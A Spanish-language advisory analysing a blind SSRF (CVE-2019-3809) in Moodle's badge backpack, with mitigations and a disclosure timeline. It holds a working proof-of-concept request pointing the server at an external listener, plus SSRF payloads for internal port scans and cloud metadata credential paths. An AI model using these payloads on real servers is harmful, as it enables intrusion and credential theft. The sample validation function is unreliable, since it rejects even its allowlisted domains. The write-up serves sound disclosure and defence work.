/ 5 min de lectura

CVE-2019-3809: análisis de un Blind SSRF en Moodle

Instancias de Moodle interconectadas en un mapa mundial

Introducción

Este análisis cubre CVE-2019-3809, una vulnerabilidad de Server-Side Request Forgery ciego (SSRF) encontrada en la funcionalidad de badge backpack de Moodle. La vulnerabilidad permite a un atacante autenticado hacer requests internos y externos usando al servidor víctima como pivote, habilitando reconocimiento de la red interna y potencial acceso al servicio de metadata.

Resumen de la vulnerabilidad

Detalles técnicos

  • CVE ID: CVE-2019-3809
  • Tipo de vulnerabilidad: Server-Side Request Forgery ciego (SSRF)
  • Puntaje CVSS: 5.4 (Medio)
  • Componente afectado: funcionalidad de badge backpack
  • Autenticación requerida: sí (sesión de usuario válida)

Endpoint afectado

URL: /badges/mybackpack.php
Parameter: backpackurl

Descubrimiento de la vulnerabilidad

Análisis inicial

Durante las pruebas de seguridad del sistema de badges de Moodle, identificamos que el parámetro backpackurl en la funcionalidad de badge backpack aceptaba URLs controladas por el usuario sin la validación adecuada. La aplicación hacía requests del lado del servidor a esas URLs, lo que crea un SSRF clásico.

Causa raíz

La vulnerabilidad existe porque:

  1. Validación insuficiente de URL en el parámetro de la URL del backpack
  2. Ejecución de requests del lado del servidor usando input controlado por el usuario
  3. Falta de restricciones a la red interna en los requests salientes
  4. Sin whitelist de servicios externos permitidos

Prueba de concepto

Paso 1: configuración del entorno

Primero, levantamos un listener en nuestro servidor de DigitalOcean para capturar los requests entrantes:

Terminal window
# DigitalOcean Instance: poseidon.secsignal.org
nc -l 9669 -vv

Paso 2: request de explotación

Con una sesión válida de usuario autenticado, armamos el siguiente request inyectando la URL de nuestro servidor externo:

POST /badges/mybackpack.php HTTP/1.1
Host: [TARGET_MOODLE_INSTANCE]
Connection: close
Content-Length: 197
Cache-Control: max-age=0
Origin: [TARGET_MOODLE_INSTANCE]
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: [TARGET_MOODLE_INSTANCE]
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,es;q=0.8
Cookie: MoodleSession=tqb1jtemdjpj008jmedcjisbl5
userid=68243&backpackurl=http://poseidon.secsignal.org:9669/SSRF&sesskey=axCluGrlPB&qf_edit_backpack_form=1&mform_isexpanded_id_backpackheader=1&email=test&submitbutton=Connect+to+backpack

Paso 3: verificación

Después de ejecutar el request, nuestro servidor de DigitalOcean recibió una conexión entrante desde el servidor de la aplicación Moodle (una instancia de AWS EC2), lo que confirmó la vulnerabilidad SSRF.

Origen del request entrante: *.compute-1.amazonaws.com

Esto confirmó que la aplicación Moodle estaba haciendo requests del lado del servidor a URLs controladas por el usuario.

Características del SSRF ciego

Por qué es “ciego”

Este SSRF se clasifica como “ciego” porque:

  1. Sin reflejo directo de la respuesta: el atacante no ve el contenido de la respuesta de los requests internos
  2. Feedback limitado: solo se pueden detectar los intentos de conexión a través de listeners externos
  3. Sin exfiltración de datos a través del contenido de la respuesta
  4. Detección basada en tiempos: requiere infraestructura externa para confirmar los requests

Métodos de detección

  • Configuración de un listener externo (como se demostró en la PoC)
  • Seguimiento de interacción DNS usando servicios como Burp Collaborator
  • Logging de requests HTTP en infraestructura controlada
  • Análisis de timing para requests internos vs. externos

Evaluación de impacto

Escenarios de ataque potenciales

1. Reconocimiento de la red interna

Terminal window
# Port scanning internal services
backpackurl=http://192.168.1.10:22/
backpackurl=http://192.168.1.10:80/
backpackurl=http://192.168.1.10:443/
backpackurl=http://192.168.1.10:8080/

2. Acceso al servicio de metadata de AWS

Terminal window
# Accessing AWS instance metadata
backpackurl=http://169.254.169.254/latest/meta-data/
backpackurl=http://169.254.169.254/latest/meta-data/iam/security-credentials/

3. Descubrimiento de servicios internos

Terminal window
# Discovering internal services
backpackurl=http://internal-api.company.com/
backpackurl=http://admin-panel.internal/
backpackurl=http://database.internal:3306/

4. Metadata de proveedores cloud

Terminal window
# Google Cloud metadata
backpackurl=http://169.254.169.254/computeMetadata/v1/
# Azure metadata
backpackurl=http://169.254.169.254/metadata/instance

Implicancias de seguridad

  1. Mapeo de la red interna: el atacante puede descubrir la infraestructura interna
  2. Acceso a metadata de la nube: potencial acceso a información sensible de la instancia cloud
  3. Enumeración de servicios: descubrimiento de aplicaciones y bases de datos internas
  4. Violaciones de compliance: intentos de acceso no autorizado a la red

Limitaciones del SSRF ciego

Lo que esta vulnerabilidad NO puede hacer

  1. Leer el contenido de la respuesta de servicios internos
  2. Extraer datos sensibles directamente a través de la aplicación
  3. Esquivar la autenticación en servicios internos
  4. Realizar ataques complejos que requieran análisis de la respuesta
  5. Encadenarse fácilmente con otras vulnerabilidades por su naturaleza ciega

Por qué es riesgo medio

  • Requiere autenticación: se necesita una cuenta de usuario válida
  • Naturaleza ciega: divulgación de información limitada
  • Sin capacidad de exfiltración directa de datos
  • Requiere infraestructura externa para explotarse
  • Es posible detectarlo mediante monitoreo

Medidas defensivas

Mitigaciones inmediatas

  1. Validación de URL
// Implement strict URL validation
function validateBackpackUrl($url) {
$parsed = parse_url($url);
// Reject private/internal IP ranges
if (filter_var($parsed['host'], FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
return false;
}
// Whitelist allowed domains
$allowedDomains = ['openbadges.org', 'badgelist.com'];
if (!in_array($parsed['host'], $allowedDomains)) {
return false;
}
return true;
}
  1. Controles a nivel de red
  • Implementar filtrado de egress en los servidores de la aplicación
  • Bloquear el acceso a servicios de metadata (169.254.169.254)
  • Restringir el acceso a la red interna desde la capa de aplicación
  1. Correcciones a nivel de aplicación
  • Usar una allowlist de servicios de backpack permitidos
  • Implementar límites de timeout en los requests
  • Agregar rate limiting en los requests a la URL del backpack

Medidas de seguridad a largo plazo

  1. Defensa en profundidad
  • Segmentación de red
  • Reglas de Web Application Firewall (WAF)
  • Monitoreo y alertas para requests salientes inusuales
  1. Lineamientos de code review
  • Revisar todos los parámetros de URL controlados por el usuario
  • Implementar configuraciones seguras de cliente HTTP
  • Testing de seguridad regular sobre las funciones de manejo de URL

Cronología

  • 2019-01-15: vulnerabilidad descubierta durante una evaluación de seguridad
  • 2019-01-16: reporte inicial enviado al equipo de seguridad de Moodle
  • 2019-01-20: confirmación del vendor e investigación
  • 2019-02-10: desarrollo y testing del parche
  • 2019-02-15: se asigna CVE-2019-3809 y se publica el parche
  • 2019-02-20: divulgación pública tras el despliegue del parche

Referencias y lecturas adicionales

Técnicas de ataque SSRF

Seguridad de Moodle

Conclusión

CVE-2019-3809 muestra la importancia de validar bien las URLs en aplicaciones web, incluso en funciones que parecen inocuas como la integración de badge backpack. Si bien este SSRF ciego tiene limitaciones comparado con los ataques de SSRF reflejado, igual presenta riesgos de seguridad importantes para el reconocimiento de la red interna y el acceso a metadata en la nube.

La naturaleza ciega de esta vulnerabilidad la deja como un problema de severidad media en lugar de alta o crítica, ya que requiere infraestructura externa para explotarse y no permite exfiltración directa de datos. Sin embargo, puede servir como punto de partida para ataques más complejos cuando se combina con reconocimiento adecuado e ingeniería social.

Las organizaciones deberían implementar protecciones SSRF integrales, incluyendo validación de URL, segmentación de red y monitoreo, para evitar que este tipo de vulnerabilidades se exploten en entornos de producción.


Investigación realizada por: el equipo de Volt AI Estado de divulgación: divulgada de forma responsable al equipo de seguridad de Moodle Impacto: parchado en Moodle versión 3.6.2, 3.5.4 y 3.4.7